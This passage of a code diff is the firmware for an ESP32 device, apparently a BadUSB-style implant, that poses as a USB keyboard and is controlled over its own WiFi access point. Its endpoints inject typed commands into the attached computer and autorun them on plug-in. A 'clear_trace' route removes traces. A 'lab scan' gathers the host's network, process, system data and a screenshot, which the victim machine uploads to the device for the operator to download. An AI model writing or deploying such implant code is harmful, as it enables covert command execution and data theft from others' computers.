// ─── Restart / Clear ─────────────────────────────────────────────────────────
|
||||
|
||||
void handleRestartRequest()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
server.send(200, "text/plain", "restarting");
|
||||
Keyboard.end();
|
||||
delay(500);
|
||||
ESP.restart();
|
||||
}
|
||||
|
||||
void handleClearTraceRequest()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
server.sendHeader("Location", "/", true);
|
||||
server.send(302, "text/plain", "");
|
||||
clear_trace();
|
||||
}
|
||||
|
||||
// ─── HID endpoints ───────────────────────────────────────────────────────────
|
||||
|
||||
void handleRunCommandRequest()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
if (!server.hasArg("cmd"))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"missing cmd\"}");
|
||||
return;
|
||||
}
|
||||
String cmd = server.arg("cmd");
|
||||
String shell = server.hasArg("shell") ? server.arg("shell") : "run";
|
||||
int del = server.hasArg("delay") ? server.arg("delay").toInt() : 15;
|
||||
if (del < 5 || del > 200) del = 15;
|
||||
if (!isAllowedShell(shell))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}");
|
||||
return;
|
||||
}
|
||||
sendJson(200, "{\"ok\":true}");
|
||||
trick_run_shell_command(cmd.c_str(), shell.c_str(), del);
|
||||
}
|
||||
|
||||
void handleTypeTextRequest()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
if (!server.hasArg("text"))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"missing text\"}");
|
||||
return;
|
||||
}
|
||||
String text = server.arg("text");
|
||||
int del = server.hasArg("delay") ? server.arg("delay").toInt() : 12;
|
||||
bool enter = server.hasArg("enter");
|
||||
bool notepad = server.hasArg("notepad");
|
||||
if (del < 5 || del > 200) del = 12;
|
||||
sendJson(200, "{\"ok\":true}");
|
||||
trick_type_text(text.c_str(), del, enter, notepad);
|
||||
}
|
||||
|
||||
void handleTrickRequest()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
if (!server.hasArg("id"))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"missing id\"}");
|
||||
return;
|
||||
}
|
||||
String id = server.arg("id");
|
||||
sendJson(200, "{\"ok\":true}");
|
||||
trick_dispatch(id.c_str());
|
||||
}
|
||||
|
||||
// ─── Button API ─────────────────────────────────────────────────────────────
|
||||
|
||||
void handleGetButtonsApi()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
sendJson(200, buttons_to_json());
|
||||
}
|
||||
|
||||
void handleAddButtonApi()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
String label = server.hasArg("label") ? server.arg("label") : "";
|
||||
String shell = server.hasArg("shell") ? server.arg("shell") : "run";
|
||||
String cmd = server.hasArg("cmd") ? server.arg("cmd") : "";
|
||||
int delay = server.hasArg("delay") ? server.arg("delay").toInt() : 15;
|
||||
label.trim(); cmd.trim();
|
||||
if (label.length() == 0 || cmd.length() == 0)
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"label and cmd required\"}");
|
||||
return;
|
||||
}
|
||||
if (!isAllowedShell(shell))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}");
|
||||
return;
|
||||
}
|
||||
bool ok = buttons_add(label.c_str(), shell.c_str(), delay, cmd.c_str());
|
||||
sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"flash write failed\"}");
|
||||
}
|
||||
|
||||
void handleDeleteButtonApi()
|
||||
{
|
||||
if (!requireAuth()) return;
|
||||
if (!server.hasArg("id") || !isNumeric(server.arg("id")))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"invalid index\"}");
|
||||
return;
|
||||
}
|
||||
bool ok = buttons_delete(server.arg("id").toInt());
|
||||
sendJson(ok ? 200 : 400, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"invalid index\"}");
|
||||
}
|
||||
|
||||
// ─── Upload from target machine (no auth — local AP only) ────────────────────
|
||||
|
||||
void handleUploadRequest()
|
||||
{
|
||||
String name = server.hasArg("name") ? server.arg("name") : "";
|
||||
if (!isSafeResultName(name))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"bad name\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
upload_status_set_uploading(true);
|
||||
String body = readUploadBody();
|
||||
if (body.length() == 0)
|
||||
{
|
||||
upload_status_set_uploading(false);
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"empty body\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
bool ok = flash_fs_write_result(name.c_str(), (const uint8_t *)body.c_str(), body.length());
|
||||
if (ok)
|
||||
upload_status_on_upload(name.c_str());
|
||||
else
|
||||
upload_status_set_uploading(false);
|
||||
sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"write failed\"}");
|
||||
}
|
||||
|
||||
// ─── WiFi init ───────────────────────────────────────────────────────────────
|
||||
|
||||
void setup_WiFi()
|
||||
{
|
||||
WiFi.softAP(ssid, password);
|
||||
delay(100);
|
||||
|
||||
buttons_load();
|
||||
|
||||
server.on("/", handleRootRequest);
|
||||
|
||||
server.on("/run", HTTP_POST, handleRunCommandRequest);
|
||||
server.on("/type", HTTP_POST, handleTypeTextRequest);
|
||||
server.on("/trick", HTTP_POST, handleTrickRequest);
|
||||
server.on("/restart", HTTP_POST, handleRestartRequest);
|
||||
server.on("/clear_trace", HTTP_POST, handleClearTraceRequest);
|
||||
|
||||
server.on("/api/buttons", HTTP_GET, handleGetButtonsApi);
|
||||
server.on("/api/buttons", HTTP_POST, handleAddButtonApi);
|
||||
server.on("/api/buttons/delete", HTTP_POST, handleDeleteButtonApi);
|
||||
|
||||
// Target machine uploads here over WiFi (no SD card)
|
||||
server.on("/api/upload", HTTP_POST, handleUploadRequest);
|
||||
|
||||
server.on("/api/results", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
File dir = LittleFS.open(RESULTS_DIR);
|
||||
if (!dir || !dir.isDirectory())
|
||||
{
|
||||
sendJson(200, "[]");
|
||||
return;
|
||||
}
|
||||
String json = "[";
|
||||
bool first = true;
|
||||
File entry = dir.openNextFile();
|
||||
while (entry)
|
||||
{
|
||||
if (!entry.isDirectory())
|
||||
{
|
||||
if (!first) json += ",";
|
||||
first = false;
|
||||
String name = entry.name();
|
||||
if (name.startsWith("/"))
|
||||
name = name.substring(name.lastIndexOf('/') + 1);
|
||||
name.replace("\"", "\\\"");
|
||||
json += "{\"name\":\"" + name + "\",\"size\":" + String(entry.size()) + "}";
|
||||
}
|
||||
entry.close();
|
||||
entry = dir.openNextFile();
|
||||
}
|
||||
dir.close();
|
||||
json += "]";
|
||||
sendJson(200, json);
|
||||
});
|
||||
|
||||
server.on("/api/file", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
if (!server.hasArg("path"))
|
||||
{
|
||||
server.send(400, "text/plain", "missing path");
|
||||
return;
|
||||
}
|
||||
String path = server.arg("path");
|
||||
if (!path.startsWith("/results/"))
|
||||
{
|
||||
server.send(403, "text/plain", "forbidden");
|
||||
return;
|
||||
}
|
||||
String name = path.substring(9);
|
||||
if (!isSafeResultName(name))
|
||||
{
|
||||
server.send(403, "text/plain", "forbidden");
|
||||
return;
|
||||
}
|
||||
if (name.endsWith(".png"))
|
||||
{
|
||||
server.send(400, "text/plain", "use /api/download for images");
|
||||
return;
|
||||
}
|
||||
String content = flash_fs_read_result(name.c_str());
|
||||
if (content.length() == 0 && !flash_fs_result_exists(name.c_str()))
|
||||
{
|
||||
server.send(404, "text/plain", "not found");
|
||||
return;
|
||||
}
|
||||
server.send(200, "text/plain; charset=utf-8", content);
|
||||
});
|
||||
|
||||
server.on("/api/profile", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
String os = flash_fs_read_result("os.txt", 64);
|
||||
String host = flash_fs_read_result("hostname.txt", 256);
|
||||
os.trim();
|
||||
host.trim();
|
||||
host.replace("\n", " / ");
|
||||
String json = "{\"os\":\"" + jsonEscape(os.length() ? os : "unknown") +
|
||||
"\",\"hostname\":\"" + jsonEscape(host.length() ? host : "unknown") +
|
||||
"\",\"files\":[";
|
||||
File dir = LittleFS.open(RESULTS_DIR);
|
||||
bool first = true;
|
||||
if (dir && dir.isDirectory())
|
||||
{
|
||||
File entry = dir.openNextFile();
|
||||
while (entry)
|
||||
{
|
||||
if (!entry.isDirectory())
|
||||
{
|
||||
if (!first) json += ",";
|
||||
first = false;
|
||||
String name = entry.name();
|
||||
if (name.startsWith("/"))
|
||||
name = name.substring(name.lastIndexOf('/') + 1);
|
||||
name.replace("\"", "\\\"");
|
||||
json += "{\"name\":\"" + name + "\",\"size\":" + String(entry.size()) + "}";
|
||||
}
|
||||
entry.close();
|
||||
entry = dir.openNextFile();
|
||||
}
|
||||
dir.close();
|
||||
}
|
||||
json += "]}";
|
||||
sendJson(200, json);
|
||||
});
|
||||
|
||||
server.on("/api/status", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
sendJson(200, upload_status_json());
|
||||
});
|
||||
|
||||
server.on("/api/download", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
if (!server.hasArg("path"))
|
||||
{
|
||||
server.send(400, "text/plain", "missing path");
|
||||
return;
|
||||
}
|
||||
String path = server.arg("path");
|
||||
if (!path.startsWith("/results/"))
|
||||
{
|
||||
server.send(403, "text/plain", "forbidden");
|
||||
return;
|
||||
}
|
||||
String name = path.substring(9);
|
||||
if (!isSafeResultName(name))
|
||||
{
|
||||
server.send(403, "text/plain", "forbidden");
|
||||
return;
|
||||
}
|
||||
String fpath = String(RESULTS_DIR) + "/" + name;
|
||||
File f = LittleFS.open(fpath, "r");
|
||||
if (!f)
|
||||
{
|
||||
server.send(404, "text/plain", "not found");
|
||||
return;
|
||||
}
|
||||
String ctype = "application/octet-stream";
|
||||
if (name.endsWith(".txt")) ctype = "text/plain; charset=utf-8";
|
||||
else if (name.endsWith(".png")) ctype = "image/png";
|
||||
server.sendHeader("Content-Disposition", "attachment; filename=\"" + name + "\"");
|
||||
server.streamFile(f, ctype);
|
||||
f.close();
|
||||
});
|
||||
|
||||
server.on("/api/download/bundle", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
server.setContentLength(CONTENT_LENGTH_UNKNOWN);
|
||||
server.sendHeader("Content-Disposition", "attachment; filename=\"machine_profile.txt\"");
|
||||
server.send(200, "text/plain; charset=utf-8", "");
|
||||
|
||||
server.sendContent("========================================\r\n");
|
||||
server.sendContent(" AETHER32 MACHINE PROFILE\r\n");
|
||||
server.sendContent(" (stored on device flash)\r\n");
|
||||
server.sendContent("========================================\r\n\r\n");
|
||||
|
||||
static const char *order[] = {
|
||||
"os.txt", "hostname.txt", "collected_at.txt",
|
||||
"network_macs.txt", "network_full.txt", "arp.txt",
|
||||
"routes.txt", "netstat.txt", "sysinfo.txt", "processes.txt"
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(order) / sizeof(order[0]); i++)
|
||||
{
|
||||
String content = flash_fs_read_result(order[i]);
|
||||
if (content.length() == 0) continue;
|
||||
server.sendContent("\r\n--- ");
|
||||
server.sendContent(order[i]);
|
||||
server.sendContent(" ---\r\n");
|
||||
server.sendContent(content);
|
||||
}
|
||||
|
||||
server.sendContent("\r\n\r\n[Screenshot: download screen.png separately]\r\n");
|
||||
server.client().stop();
|
||||
});
|
||||
|
||||
server.on("/api/config", HTTP_GET, []() {
|
||||
if (!requireAuth()) return;
|
||||
char buf[320];
|
||||
String safeCmd = g_autorun.cmd;
|
||||
safeCmd.replace("\\", "\\\\");
|
||||
safeCmd.replace("\"", "\\\"");
|
||||
snprintf(buf, sizeof(buf),
|
||||
"{\"enabled\":%s,\"lab_scan_on_plug\":%s,\"delay\":%d,\"shell\":\"%s\",\"cmd\":\"%s\"}",
|
||||
g_autorun.enabled ? "true" : "false",
|
||||
g_autorun.lab_scan_on_plug ? "true" : "false",
|
||||
g_autorun.delay_ms,
|
||||
g_autorun.shell,
|
||||
safeCmd.c_str());
|
||||
sendJson(200, buf);
|
||||
});
|
||||
|
||||
server.on("/api/config", HTTP_POST, []() {
|
||||
if (!requireAuth()) return;
|
||||
String en = server.hasArg("enabled") ? server.arg("enabled") : "0";
|
||||
g_autorun.enabled = (en == "1" || en == "true");
|
||||
if (server.hasArg("lab_scan_on_plug"))
|
||||
{
|
||||
String ls = server.arg("lab_scan_on_plug");
|
||||
g_autorun.lab_scan_on_plug = (ls == "1" || ls == "true");
|
||||
}
|
||||
if (server.hasArg("delay"))
|
||||
{
|
||||
int d = server.arg("delay").toInt();
|
||||
g_autorun.delay_ms = (d < 500 || d > 15000) ? 3500 : d;
|
||||
}
|
||||
if (server.hasArg("shell"))
|
||||
{
|
||||
String shell = server.arg("shell");
|
||||
if (!isAllowedShell(shell))
|
||||
{
|
||||
sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}");
|
||||
return;
|
||||
}
|
||||
strncpy(g_autorun.shell, shell.c_str(), sizeof(g_autorun.shell) - 1);
|
||||
g_autorun.shell[sizeof(g_autorun.shell) - 1] = '\0';
|
||||
}
|
||||
if (server.hasArg("cmd"))
|
||||
{
|
||||
strncpy(g_autorun.cmd, server.arg("cmd").c_str(), sizeof(g_autorun.cmd) - 1);
|
||||
g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0';
|
||||
}
|
||||
bool ok = config_save();
|
||||
sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"flash write failed\"}");
|
||||
});
|
||||
|
||||
server.onNotFound([]() {
|
||||
server.send(404, "text/plain", "Not found");
|
||||
});
|
||||
|
||||
server.begin();
|
||||
}
|
||||
10
src/components/wifi_server.h
Normal file
10
src/components/wifi_server.h
Normal file
@@ -0,0 +1,10 @@
|
||||
#ifndef WIFI_SERVER_H
|
||||
#define WIFI_SERVER_H
|
||||
|
||||
#include <WebServer.h>
|
||||
|
||||
extern WebServer server;
|
||||
|
||||
void setup_WiFi();
|
||||
|
||||
#endif
|
||||
88
src/main.cpp
Normal file
88
src/main.cpp
Normal file
@@ -0,0 +1,88 @@
|
||||
#include "components/exescript.h"
|
||||
#include "components/rgb_control.h"
|
||||
#include "components/wifi_server.h"
|
||||
#include "components/config_store.h"
|
||||
#include "components/collector.h"
|
||||
#include "components/flash_fs.h"
|
||||
|
||||
extern bool check_delay;
|
||||
|
||||
static volatile bool s_just_connected = false;
|
||||
static volatile bool s_just_disconnected = false;
|
||||
|
||||
static bool s_connected = false;
|
||||
static unsigned long s_conn_time = 0;
|
||||
static bool s_ar_fired = false;
|
||||
static bool s_lab_scan_fired = false;
|
||||
static unsigned long s_lab_scan_at = 0;
|
||||
|
||||
static void usb_event_cb(void * /*arg*/, esp_event_base_t /*base*/,
|
||||
int32_t event_id, void * /*data*/)
|
||||
{
|
||||
if (event_id == ARDUINO_USB_RESUME_EVENT)
|
||||
s_just_connected = true;
|
||||
else if (event_id == ARDUINO_USB_SUSPEND_EVENT)
|
||||
s_just_disconnected = true;
|
||||
}
|
||||
|
||||
void setup()
|
||||
{
|
||||
flash_fs_init();
|
||||
config_load();
|
||||
|
||||
rgb_init();
|
||||
USB.onEvent(usb_event_cb);
|
||||
setup_usb();
|
||||
setup_WiFi();
|
||||
}
|
||||
|
||||
void loop()
|
||||
{
|
||||
server.handleClient();
|
||||
|
||||
if (s_just_connected)
|
||||
{
|
||||
s_just_connected = false;
|
||||
s_connected = true;
|
||||
s_conn_time = millis();
|
||||
s_lab_scan_at = 0;
|
||||
if (g_autorun.lab_scan_on_plug)
|
||||
{
|
||||
unsigned long extra = g_autorun.enabled ? 4000UL : 0UL;
|
||||
s_lab_scan_at = s_conn_time + (unsigned long)g_autorun.delay_ms + extra;
|
||||
}
|
||||
led_blink(255, 64, 0, false);
|
||||
}
|
||||
|
||||
if (s_just_disconnected)
|
||||
{
|
||||
s_just_disconnected = false;
|
||||
s_connected = false;
|
||||
s_ar_fired = false;
|
||||
s_lab_scan_fired = false;
|
||||
s_lab_scan_at = 0;
|
||||
}
|
||||
|
||||
if (g_autorun.enabled && s_connected && !s_ar_fired)
|
||||
{
|
||||
if (millis() - s_conn_time >= (unsigned long)g_autorun.delay_ms)
|
||||
{
|
||||
s_ar_fired = true;
|
||||
led_blink(255, 0, 0, true);
|
||||
autorun_execute();
|
||||
led_idle(0, 1, 0);
|
||||
}
|
||||
}
|
||||
|
||||
if (g_autorun.lab_scan_on_plug && s_connected && !s_lab_scan_fired && s_lab_scan_at > 0)
|
||||
{
|
||||
if (millis() >= s_lab_scan_at)
|
||||
{
|
||||
s_lab_scan_fired = true;
|
||||
collect_lab_scan();
|
||||
}
|
||||
}
|
||||
|
||||
if (check_delay)
|
||||
delay(200);
|
||||
}
|
||||
Reference in New Issue
Block a user